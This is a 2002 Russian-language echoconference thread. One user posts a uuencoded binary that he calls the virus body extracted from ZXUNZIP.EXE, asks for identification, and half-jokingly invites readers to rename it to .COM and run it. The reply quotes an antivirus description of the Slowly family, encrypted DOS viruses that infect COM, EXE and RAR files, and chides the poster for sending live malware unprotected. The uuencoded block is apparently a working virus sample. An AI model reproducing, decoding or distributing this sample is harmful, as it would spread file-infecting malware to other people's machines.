ZXNet эхоконференция «zxnet.pc»

Hемедленно нажми на RESET, All! У Веги обнаружилось немеряно вирусов на диске... Вот собственно само тело вируса отрезанное от ZXUNZIP.EXE файла. Если у кого есть современные антивирусные программы посмотрите, может опознать можно что за вирус и лечится-ли чем. Желающие заразится могут переименовать в COM файл и запустить, может получится. begin 644 zxunzip.vir M^_KK`P4+`!X.#A'O@``5K`^+DI`%'SI&@I^+FU`6:M9O?89JOB],8H_JF MH4__#%9"_/](V]I%F@$RWDSF,MY>3@-!X``Y^Z2Y2[A._S+>0IT`2^9T*3+? M1.$`03K_=/G#_HOUPP#P?!G_^/H7"ON8:^?XJD%_`-IU^G?N,/$C/7#_XS\n MN101.?@`=&A!]#[H?'Y=>E_`75ODSQ,MY&?P!+Q3+>C5"M2]4SWL?IAP%W MZ8C6AL2[]&+P%&X/RWAC*^TNR1MC_1I8!,M_P?8,!S#87 MR/N-DDC_PC+?;$74R1?*^Q@S^UX``<($!HOU2(RWG*LX1:U_W[!_0$4_(KO MF5[`9G"_/OT_XW[%Q?%21&BP$RWW_!X`'_B]1&4`%+Q3+>C/=_/?=,Q#+> MCN9%CP)+L4;9_S+>`O'@`(XO1__#2[)&R/]& MCP$RWXW#&#;'>\@F[Z^^*Z("#Z;>+EG_!4@%_'PX_4NQ,MZ-YA0<=+SA MP]&,%*[KHL<25RJ^$SWGP1U11-?@(O$_!YN0#P?+<`25%B0$SWGPYU4OE M="HRWA1'%QW]JD&"`5M;HJ4%1"$NX3ORWJ(4:,PW1_Z\n M;4_13O1X!0U2=/K"KK[P>U'^=*H#P[J+XCOP[V+_13V M?P.PC.=_`ZB+^1=^_1:J`6W"NJZ+"+(R8L0%?1MPK*[BQB``[J+'D;B_T;_ M`$O!,MY>``'#LO%Z//^``Z7P>T/_7O``PL37BS_"WMV+1'6KXW2Y7HMB_K" M`OB-4Q=_<3Y_`"*7,7I_0"+8G_!Y`#.'S)`'2LY72SY'X5`?I)O](_[TR MWQ=J_4C^OU3A)0"NK_H#^7PM`!B]_7?I_0!=^P!>@!<"0M>[P!= M!`I>[`!<_@I>Z0!=_`FEIT?_O3/>1N`"0[4^O<`7.H`=NGL`%SQ`3CY[P'$ MUG;J@XY^C4*!A@T_AG^`1=J_EUN`1?7_5[_`<,6B^W"!`7Q>R0!PQ?_'PK`5R&"!3V M7VX!_OK^`!0S7_T`7H,(%Y_^%R__3_[,+A>D_M4X;1>M_M+`%U^`?O_ESS M#EYN`M;Y?@+Z__Y=+@HY^C4*!QC$_A>T_G3I;P$7U_]+OT6``4;`#/>%P;_ MLO!9/7B_X6.@,76/Z:?L'_`:V>C=_P>J4"=+OI4+=<:@)TN^==:`$X^H4( M,N!'__Y=@Y<+PHY^38*!ZE!7@$;P-OPP_B(!/]C0MU.!J_"3!T#U/$OHT$ MQ*6("'6J`<4^BQ7%.HL951XK_Z&D1_Z]9LPW M,MY+P$;3_T9^`3+?2[]&`_E%_PRWA:C`$W^&-C^3?Y+3+?1=`3,0RWOGA MV3KJ[?]'W-HRWN$&C>M"A0%`%/JH6EQ+Y46`_S+>S3$/'0_^N`__G`_G@ MKTSE17`,]ZG^[_Q<3!#?__-/P05`````$^W1_ZI=9/H=:OG,M]+P3+?S1)U MM.I'_KURJ^$SWCS,+D__S#=+O3+?/*E!UPYT`4=*_IE3F0@GFE0="*(2[]' M`OE%``RWDS!,MY(_L)RK.$RWFT1O_^"`[T+HO^OSTX^/[_V7'YU/_,`&]X M+@U2F=E^PZ^^J[@?"WPY^G/YC@`_$$`"$#_#PQ:H3W,`$[_15D"3,`R MWGL_B^M0_/_C/C,`%Y7`A05N'X``OF*&V!7`EW1#CQ.^4O`10`!,MX]1_Y\n M,^I$40+,+4;-_W4]3'PRZCU`_Q+-),P_=2]U/$?W_RX6+B>,^7X-1Q/*WWP> M#E1M5;Q^!`#_C2%'`OE!``]'``%T+PE=2=3SB``3 MS&C^$AT<"2(+5UN`7;J;`%&UO]!?`)'``!U+PD=B=3S2@N'"X==3MU'G4I MS0K,>/3S&C]$QT<"#!E)/?FI*: BDI:;C-^;EYK1T=*LDY")DX;?Q=;1OK*OTKC@N;:GT@<'!P`` ` end * Originally in ZXNET.PC * Crossposted in dragon_local

Hello, Kirill! 03 Окт 02, 02:08, Kirill Frolov написал(а) к All на тему "вирус!": KF> Hемедленно нажми на RESET, All! KF> У Веги обнаружилось немеряно вирусов на диске... Вот собственно само KF> тело вируса отрезанное от ZXUNZIP.EXE файла. Если у кого есть современные KF> антивирусные программы посмотрите, может опознать можно что за вирус и KF> лечится-ли чем. ================== Hачало файла : Windows Clipboard ================== Slowly, семейство Hеопасные нерезидентные зашифрованные вирусы. Ищут в каталогах доступных дисков и в каталогах из переменной окружения PATH .COM и .ЕХЕ файлы и записываются в их конец. Также они заражают архивные файлы RAR. Вирусы не заражают файлы имена которых заканчиваются на символы: ER, 86, ND, E? После старта вирусы пытаются заразить файл KEYB.COM в каталогах указанных в переменной окружения PATH. При заражении архивов вирусы создают в памяти специальный архивный блок со своим дроппером. При этом имя файла в этом блоке создается из набора случайных символов. Примеры имен файлов: NRPNSF.COM BMEBOC.COM GIQG.COM HIUHDRHF.COM ZFYXFRZ.COM Вирусы периодически создают временные файлы со строкой текста внутри: Let all enemies die...Slowly ;) ====================== Конец Windows Clipboard ====================== Hадо быть полным лохом чтобы развести у себя эту древнюю живность. Если уж рассылаешь вирусы почтой, то клади их в _запароленный_ архив, дабы не вешать нормальным людям тоссеры. Приятных коннектов. Roman.